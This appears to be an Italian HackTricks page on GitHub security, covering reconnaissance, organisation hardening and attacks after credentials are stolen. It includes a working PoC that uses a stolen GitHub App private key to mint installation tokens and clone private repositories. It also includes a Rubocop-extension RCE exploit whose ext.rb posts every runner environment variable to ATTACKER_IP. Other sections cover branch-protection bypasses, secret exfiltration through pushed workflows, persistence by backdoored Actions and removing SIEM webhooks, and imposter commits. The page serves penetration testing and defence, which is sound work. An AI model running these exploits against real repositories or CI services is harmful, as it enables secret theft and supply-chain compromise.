# Sicurezza di Github

{{#include ../../banners/hacktricks-training.md}}

## Cos'è Github

(From [here](https://kinsta.com/knowledgebase/what-is-github/)) A un livello alto, **GitHub è un sito web e un servizio basato su cloud che aiuta gli sviluppatori a memorizzare e gestire il loro codice, oltre a tracciare e controllare le modifiche al loro codice**.

### Informazioni di base

{{#ref}}
basic-github-information.md
{{#endref}}

## Ricognizione esterna

I repository di Github possono essere configurati come pubblici, privati e interni.

- **Privato** significa che **solo** le persone dell'**organizzazione** potranno accedervi
- **Interno** significa che **solo** le persone dell'**impresa** (un'impresa può avere diverse organizzazioni) potranno accedervi
- **Pubblico** significa che **tutto internet** potrà accedervi.

Nel caso tu conosca il **utente, il repo o l'organizzazione che vuoi targetizzare**, puoi usare **github dorks** per trovare informazioni sensibili o cercare **leak di informazioni sensibili** **in ogni repo**.

### Github Dorks

Github consente di **cercare qualcosa specificando come ambito un utente, un repo o un'organizzazione**. Pertanto, con un elenco di stringhe che appariranno vicino a informazioni sensibili, puoi facilmente **cercare potenziali informazioni sensibili nel tuo obiettivo**.

Strumenti (ogni strumento contiene il proprio elenco di dorks):

- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks list](https://github.com/obheda12/GitDorker/tree/master/Dorks))
- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks list](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Dorks list](https://github.com/hisxo/gitGraber/tree/master/wordlists))

### Github Leaks

Si prega di notare che i github dorks sono anche destinati a cercare leak utilizzando le opzioni di ricerca di github. Questa sezione è dedicata a quegli strumenti che **scaricheranno ogni repo e cercheranno informazioni sensibili in essi** (controllando anche una certa profondità di commit).

Strumenti (ogni strumento contiene il proprio elenco di regex):

Controlla questa pagina: **[https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html)**

> [!WARNING]
> Quando cerchi leak in un repo e esegui qualcosa come `git log -p`, non dimenticare che potrebbero esserci **altri rami con altri commit** contenenti segreti!

### Fork esterni

È possibile **compromettere i repo abusando delle pull request**. Per sapere se un repo è vulnerabile, è principalmente necessario leggere le configurazioni yaml delle Github Actions. [**Maggiore info su questo di seguito**](#execution-from-a-external-fork).

### Github Leaks in fork eliminati/interni

Anche se eliminati o interni, potrebbe essere possibile ottenere dati sensibili da fork di repository github. Controllalo qui:

{{#ref}}
accessible-deleted-data-in-github.md
{{#endref}}

## Indurimento dell'organizzazione

### Privilegi dei membri

Ci sono alcuni **privilegi predefiniti** che possono essere assegnati ai **membri** dell'organizzazione. Questi possono essere controllati dalla pagina `https://github.com/organizations/<org_name>/settings/member_privileges` o dall' [**API delle organizzazioni**](https://docs.github.com/en/rest/orgs/orgs).

- **Permessi di base**: I membri avranno il permesso Nessuno/Leggi/scrivi/Amministratore sui repository dell'organizzazione. Si consiglia di impostare **Nessuno** o **Leggi**.
- **Forking dei repository**: Se non necessario, è meglio **non consentire** ai membri di forkare i repository dell'organizzazione.
- **Creazione di pagine**: Se non necessario, è meglio **non consentire** ai membri di pubblicare pagine dai repo dell'organizzazione. Se necessario, puoi consentire di creare pagine pubbliche o private.
- **Richieste di accesso all'integrazione**: Con questo abilitato, i collaboratori esterni potranno richiedere l'accesso per le app GitHub o OAuth per accedere a questa organizzazione e alle sue risorse. Di solito è necessario, ma se non lo è, è meglio disabilitarlo.
- _Non sono riuscito a trovare queste informazioni nella risposta delle API, condividi se lo fai_
- **Cambio di visibilità del repository**: Se abilitato, i **membri** con permessi **amministrativi** per il **repository** potranno **cambiare la sua visibilità**. Se disabilitato, solo i proprietari dell'organizzazione possono cambiare le visibilità dei repository. Se non vuoi che le persone rendano le cose **pubbliche**, assicurati che questo sia **disabilitato**.
- _Non sono riuscito a trovare queste informazioni nella risposta delle API, condividi se lo fai_
- **Cancellazione e trasferimento del repository**: Se abilitato, i membri con permessi **amministrativi** per il repository potranno **cancellare** o **trasferire** **repository** pubblici e privati.
- _Non sono riuscito a trovare queste informazioni nella risposta delle API, condividi se lo fai_
- **Consentire ai membri di creare team**: Se abilitato, qualsiasi **membro** dell'organizzazione potrà **creare** nuovi **team**. Se disabilitato, solo i proprietari dell'organizzazione possono creare nuovi team. È meglio avere questo disabilitato.
- _Non sono riuscito a trovare queste informazioni nella risposta delle API, condividi se lo fai_
- **Altre cose possono essere configurate** in questa pagina, ma le precedenti sono quelle più legate alla sicurezza.

### Impostazioni delle azioni

Diverse impostazioni relative alla sicurezza possono essere configurate per le azioni dalla pagina `https://github.com/organizations/<org_name>/settings/actions`.

> [!NOTE]
> Nota che tutte queste configurazioni possono anche essere impostate su ciascun repository in modo indipendente

- **Politiche delle azioni di Github**: Consente di indicare quali repository possono eseguire flussi di lavoro e quali flussi di lavoro dovrebbero essere consentiti. Si consiglia di **specificare quali repository** dovrebbero essere consentiti e di non consentire a tutte le azioni di essere eseguite.
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
- **Flussi di lavoro delle pull request forkate da collaboratori esterni**: Si consiglia di **richiedere approvazione per tutti** i collaboratori esterni.
- _Non sono riuscito a trovare un'API con queste informazioni, condividi se lo fai_
- **Esegui flussi di lavoro da pull request forkate**: È **fortemente sconsigliato eseguire flussi di lavoro da pull request** poiché i manutentori dell'origine del fork avranno la possibilità di utilizzare token con permessi di lettura sul repository sorgente.
- _Non sono riuscito a trovare un'API con queste informazioni, condividi se lo fai_
- **Permessi dei flussi di lavoro**: È altamente consigliato **fornire solo permessi di lettura sui repository**. È sconsigliato fornire permessi di scrittura e di creazione/approvazione delle pull request per evitare l'abuso del GITHUB_TOKEN fornito per l'esecuzione dei flussi di lavoro.
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)

### Integrazioni

_Fammi sapere se conosci l'endpoint API per accedere a queste informazioni!_

- **Politica di accesso alle applicazioni di terze parti**: Si consiglia di limitare l'accesso a ogni applicazione e consentire solo quelle necessarie (dopo averle esaminate).
- **App GitHub installate**: Si consiglia di consentire solo quelle necessarie (dopo averle esaminate).

## Ricognizione e attacchi abusando delle credenziali

Per questo scenario supponiamo che tu abbia ottenuto un accesso a un account github.

### Con le credenziali dell'utente

Se in qualche modo hai già le credenziali per un utente all'interno di un'organizzazione, puoi **solo accedere** e controllare quali **ruoli di impresa e organizzazione hai**, se sei un membro normale, controlla quali **permessi hanno i membri normali**, in quali **gruppi** sei, quali **permessi hai** su quali **repo** e **come sono protetti i repo**.

Nota che **2FA potrebbe essere utilizzato**, quindi potrai accedere a queste informazioni solo se puoi anche **superare quel controllo**.

> [!NOTE]
> Nota che se **riesci a rubare il cookie `user_session`** (attualmente configurato con SameSite: Lax) puoi **completamente impersonare l'utente** senza bisogno di credenziali o 2FA.

Controlla la sezione qui sotto su [**bypass delle protezioni dei rami**](#branch-protection-bypass) nel caso possa essere utile.

### Con la chiave SSH dell'utente

Github consente ai **utenti** di impostare **chiavi SSH** che verranno utilizzate come **metodo di autenticazione per distribuire codice** per loro conto (non viene applicata 2FA).

Con questa chiave puoi effettuare **modifiche nei repository dove l'utente ha alcuni privilegi**, tuttavia non puoi usarla per accedere all'API di github per enumerare l'ambiente. Tuttavia, puoi **enumerare le impostazioni locali** per ottenere informazioni sui repo e sull'utente a cui hai accesso:
```bash
# Go to the the repository folder
# Get repo config and current user name and email
git config --list
```
Se l'utente ha configurato il proprio nome utente come il suo nome utente github, puoi accedere alle **chiavi pubbliche che ha impostato** nel suo account in _https://github.com/\<github_username>.keys_, puoi controllare questo per confermare che la chiave privata che hai trovato può essere utilizzata.

Le **chiavi SSH** possono anche essere impostate nei repository come **chiavi di distribuzione**. Chiunque abbia accesso a questa chiave sarà in grado di **lanciare progetti da un repository**. Di solito, in un server con diverse chiavi di distribuzione, il file locale **`~/.ssh/config`** ti darà informazioni su quale chiave è correlata.

#### Chiavi GPG

Come spiegato [**qui**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md), a volte è necessario firmare i commit o potresti essere scoperto.

Controlla localmente se l'utente corrente ha qualche chiave con:
```shell
gpg --list-secret-keys --keyid-format=long
```
### Con Token Utente

Per un'introduzione sui [**Token Utente controlla le informazioni di base**](basic-github-information.md#personal-access-tokens).

Un token utente può essere utilizzato **invece di una password** per Git su HTTPS, o può essere utilizzato per [**autenticarsi all'API tramite Basic Authentication**](https://docs.github.com/v3/auth/#basic-authentication). A seconda dei privilegi ad esso associati, potresti essere in grado di eseguire diverse azioni.

Un token utente appare così: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`

### Con Applicazione Oauth

Per un'introduzione sulle [**Applicazioni Oauth di Github controlla le informazioni di base**](basic-github-information.md#oauth-applications).

Un attaccante potrebbe creare un **Applicazione Oauth malevola** per accedere a dati/azioni privilegiati degli utenti che le accettano probabilmente come parte di una campagna di phishing.

Questi sono i [scope che un'applicazione Oauth può richiedere](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). Un utente dovrebbe sempre controllare gli scope richiesti prima di accettarli.

Inoltre, come spiegato nelle informazioni di base, **le organizzazioni possono concedere/negare l'accesso a applicazioni di terze parti** a informazioni/repo/azioni relative all'organizzazione.

### Con Applicazione Github

Per un'introduzione sulle [**Applicazioni Github controlla le informazioni di base**](basic-github-information.md#github-applications).

Un attaccante potrebbe creare un **Applicazione Github malevola** per accedere a dati/azioni privilegiati degli utenti che le accettano probabilmente come parte di una campagna di phishing.

Inoltre, come spiegato nelle informazioni di base, **le organizzazioni possono concedere/negare l'accesso a applicazioni di terze parti** a informazioni/repo/azioni relative all'organizzazione.

#### Imita un'App GitHub con la sua chiave privata (JWT → token di accesso per installazione)

Se ottieni la chiave privata (PEM) di un'App GitHub, puoi impersonare completamente l'app in tutte le sue installazioni:

- Genera un JWT a breve termine firmato con la chiave privata
- Chiama l'API REST dell'App GitHub per enumerare le installazioni
- Crea token di accesso per ogni installazione e usali per elencare/clonare/pushare nei repository concessi a quell'installazione

Requisiti:
- Chiave privata dell'App GitHub (PEM)
- ID dell'App GitHub (numerico). GitHub richiede che iss sia l'ID dell'App

Crea JWT (RS256):
```python
#!/usr/bin/env python3
import time, jwt

with open("priv.pem", "r") as f:
signing_key = f.read()

APP_ID = "123456"  # GitHub App ID (numeric)

def gen_jwt():
now = int(time.time())
payload = {
"iat": now - 60,
"exp": now + 600 - 60,  # ≤10 minutes
"iss": APP_ID,
}
return jwt.encode(payload, signing_key, algorithm="RS256")
```
Elenca le installazioni per l'app autenticata:
```bash
JWT=$(python3 -c 'import time,jwt,sys;print(jwt.encode({"iat":int(time.time()-60),"exp":int(time.time())+540,"iss":sys.argv[1]}, open("priv.pem").read(), algorithm="RS256"))' 123456)

curl -sS -H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations
```
Crea un token di accesso per l'installazione (valido ≤ 10 minuti):
```bash
INSTALL_ID=12345678
curl -sS -X POST \
-H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations/$INSTALL_ID/access_tokens
```
Usa il token per accedere al codice. Puoi clonare o inviare utilizzando la forma URL x‑access‑token:
```bash
TOKEN=ghs_...
REPO=owner/name
git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git
# push works if the app has contents:write on that repository
```
Programmatic PoC per mirare a un'organizzazione specifica e elencare i repository privati (PyGithub + PyJWT):
```python
#!/usr/bin/env python3
import time, jwt, requests
from github import Auth, GithubIntegration

with open("priv.pem", "r") as f:
signing_key = f.read()

APP_ID = "123456"  # GitHub App ID (numeric)
ORG    = "someorg"

def gen_jwt():
now = int(time.time())
payload = {"iat": now-60, "exp": now+540, "iss": APP_ID}
return jwt.encode(payload, signing_key, algorithm="RS256")

auth = Auth.AppAuth(APP_ID, signing_key)
GI = GithubIntegration(auth=auth)
installation = GI.get_org_installation(ORG)
print(f"Installation ID: {installation.id}")

jwt_tok = gen_jwt()
r = requests.post(
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
headers={
"Accept": "application/vnd.github+json",
"Authorization": f"Bearer {jwt_tok}",
"X-GitHub-Api-Version": "2022-11-28",
},
)
access_token = r.json()["token"]

print("--- repos ---")
for repo in installation.get_repos():
print(f"* {repo.full_name} (private={repo.private})")
clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git"
print(clone_url)
```
Note:
- I token di installazione ereditano esattamente i permessi a livello di repository dell'app (ad esempio, contents: write, pull_requests: write)
- I token scadono in ≤10 minuti, ma nuovi token possono essere creati indefinitamente finché si mantiene la chiave privata
- Puoi anche enumerare le installazioni tramite l'API REST (GET /app/installations) utilizzando il JWT

## Compromissione e abuso di Github Action

Ci sono diverse tecniche per compromettere e abusare di una Github Action, controllale qui:

{{#ref}}
abusing-github-actions/
{{#endref}}

## Abuso di GitHub Apps di terze parti che eseguono strumenti esterni (Rubocop extension RCE)

Alcune GitHub Apps e servizi di revisione PR eseguono linters/SAST esterni contro le pull request utilizzando file di configurazione controllati dal repository. Se uno strumento supportato consente il caricamento dinamico del codice, una PR può ottenere RCE sul runner del servizio.

Esempio: Rubocop supporta il caricamento di estensioni dal suo file di configurazione YAML. Se il servizio passa attraverso un .rubocop.yml fornito dal repo, puoi eseguire Ruby arbitrario richiedendo un file locale.

- Le condizioni di attivazione di solito includono:
- Lo strumento è abilitato nel servizio
- La PR contiene file che lo strumento riconosce (per Rubocop: .rb)
- Il repo contiene il file di configurazione dello strumento (Rubocop cerca .rubocop.yml ovunque)

File di exploit nella PR:

.rubocop.yml
```yaml
require:
- ./ext.rb
```
ext.rb (esfiltrare le variabili d'ambiente del runner):
```ruby
require 'net/http'
require 'uri'
require 'json'

env_vars  = ENV.to_h
json_data = env_vars.to_json
url       = URI.parse('http://ATTACKER_IP/')

begin
http = Net::HTTP.new(url.host, url.port)
req = Net::HTTP::Post.new(url.path)
req['Content-Type'] = 'application/json'
req.body = json_data
http.request(req)
rescue StandardError => e
warn e.message
end
```
Includi anche un file Ruby fittizio sufficientemente grande (ad es., main.rb) in modo che il linter venga effettivamente eseguito.

Impatto osservato nel mondo reale:
- Esecuzione completa del codice sul runner di produzione che ha eseguito il linter
- Esfiltrazione di variabili ambientali sensibili, inclusa la chiave privata dell'app GitHub utilizzata dal servizio, chiavi API, credenziali DB, ecc.
- Con una chiave privata dell'app GitHub trapelata puoi generare token di installazione e ottenere accesso in lettura/scrittura a tutti i repository concessi a quell'app (vedi la sezione sopra sull' impersonificazione dell'app GitHub)

Linee guida per il rafforzamento dei servizi che eseguono strumenti esterni:
- Tratta le configurazioni degli strumenti fornite dal repository come codice non attendibile
- Esegui strumenti in sandbox strettamente isolate senza variabili ambientali sensibili montate
- Applica credenziali con il minor privilegio e isolamento del filesystem, e limita/nega l'uscita della rete per gli strumenti che non richiedono accesso a Internet

## Bypass della Protezione dei Branch

- **Richiedi un numero di approvazioni**: Se hai compromesso diversi account potresti semplicemente accettare le tue PR da altri account. Se hai solo l'account da cui hai creato la PR non puoi accettare la tua PR. Tuttavia, se hai accesso a un ambiente **Github Action** all'interno del repo, utilizzando il **GITHUB_TOKEN** potresti essere in grado di **approvare la tua PR** e ottenere 1 approvazione in questo modo.
- _Nota per questo e per la restrizione dei Code Owners che di solito un utente non sarà in grado di approvare le proprie PR, ma se lo sei, puoi abusarne per accettare le tue PR._
- **Annulla le approvazioni quando vengono inviati nuovi commit**: Se questo non è impostato, puoi inviare codice legittimo, aspettare che qualcuno lo approvi e inserire codice malevolo e fonderlo nel branch protetto.
- **Richiedi revisioni dai Code Owners**: Se questo è attivato e sei un Code Owner, potresti far sì che una **Github Action crei la tua PR e poi approvarla tu stesso**.
- Quando un **file CODEOWNER è configurato in modo errato**, Github non si lamenta ma non lo utilizza. Pertanto, se è configurato in modo errato, **la protezione dei Code Owners non viene applicata.**
- **Consenti a determinati attori di bypassare i requisiti delle pull request**: Se sei uno di questi attori puoi bypassare le protezioni delle pull request.
- **Includi gli amministratori**: Se questo non è impostato e sei amministratore del repo, puoi bypassare queste protezioni del branch.
- **Hijacking delle PR**: Potresti essere in grado di **modificare la PR di qualcun altro** aggiungendo codice malevolo, approvando la PR risultante tu stesso e fondendo tutto.
- **Rimozione delle Protezioni dei Branch**: Se sei un **amministratore del repo puoi disabilitare le protezioni**, fondere la tua PR e ripristinare le protezioni.
- **Bypassing delle protezioni di push**: Se un repo **consente solo a determinati utenti** di inviare push (fondere codice) nei branch (la protezione del branch potrebbe proteggere tutti i branch specificando il carattere jolly `*`).
- Se hai **accesso in scrittura sul repo ma non ti è consentito inviare codice** a causa della protezione del branch, puoi comunque **creare un nuovo branch** e all'interno di esso creare una **github action che viene attivata quando viene inviato codice**. Poiché **la protezione del branch non proteggerà il branch fino a quando non sarà creato**, questo primo push di codice nel branch **eseguirà la github action**.

## Bypass delle Protezioni degli Ambienti

Per un'introduzione su [**Github Environment controlla le informazioni di base**](basic-github-information.md#git-environments).

Nel caso in cui un ambiente possa essere **accessibile da tutti i branch**, **non è protetto** e puoi facilmente accedere ai segreti all'interno dell'ambiente. Nota che potresti trovare repo in cui **tutti i branch sono protetti** (specificando i loro nomi o utilizzando `*`); in quel scenario, **trova un branch dove puoi inviare codice** e puoi **esfiltrare** i segreti creando una nuova github action (o modificandone una).

Nota che potresti trovare il caso limite in cui **tutti i branch sono protetti** (tramite carattere jolly `*`) è specificato **chi può inviare codice ai branch** (_puoi specificarlo nella protezione del branch_) e **il tuo utente non è autorizzato**. Puoi comunque eseguire una github action personalizzata perché puoi creare un branch e utilizzare il trigger di push su se stesso. La **protezione del branch consente il push a un nuovo branch quindi la github action verrà attivata**.
```yaml
push: # Run it when a push is made to a branch
branches:
- current_branch_name #Use '**' to run when a push is made to any branch
```
Nota che **dopo la creazione** del branch, la **protezione del branch si applicherà al nuovo branch** e non sarai in grado di modificarlo, ma per quel momento avrai già estratto i segreti.

## Persistenza

- Genera **user token**
- Ruba **github tokens** da **secrets**
- **Cancellazione** dei **risultati** del workflow e dei **branch**
- Dai **più permessi a tutta l'org**
- Crea **webhook** per esfiltrare informazioni
- Invita **collaboratori esterni**
- **Rimuovi** i **webhook** utilizzati dal **SIEM**
- Crea/modifica **Github Action** con una **backdoor**
- Trova **Github Action vulnerabili a command injection** tramite modifica del valore **secret**

### Imposter Commits - Backdoor tramite commit del repo

In Github è possibile **creare una PR per un repo da un fork**. Anche se la PR non viene **accettata**, un **commit** id all'interno del repo originale verrà creato per la versione fork del codice. Pertanto, un attaccante **potrebbe fare riferimento a un commit specifico da un repo apparentemente legittimo che non è stato creato dal proprietario del repo**.

Come [**questo**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
```yaml
name: example
on: [push]
jobs:
commit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
- shell: bash
run: |
echo 'hello world!'
```
Per ulteriori informazioni controlla [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)

## Riferimenti

- [Come abbiamo sfruttato CodeRabbit: da una semplice PR a RCE e accesso in scrittura su 1M repository](https://research.kudelskisecurity.com/2025/08/19/how-we-exploited-coderabbit-from-a-simple-pr-to-rce-and-write-access-on-1m-repositories/)
- [Estensioni Rubocop (richiesta)](https://docs.rubocop.org/rubocop/latest/extensions.html)
- [Autenticazione con un'app GitHub (JWT)](https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app)
- [Elenca le installazioni per l'app autenticata](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#list-installations-for-the-authenticated-app)
- [Crea un token di accesso all'installazione per un'app](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#create-an-installation-access-token-for-an-app)

{{#include ../../banners/hacktricks-training.md}}
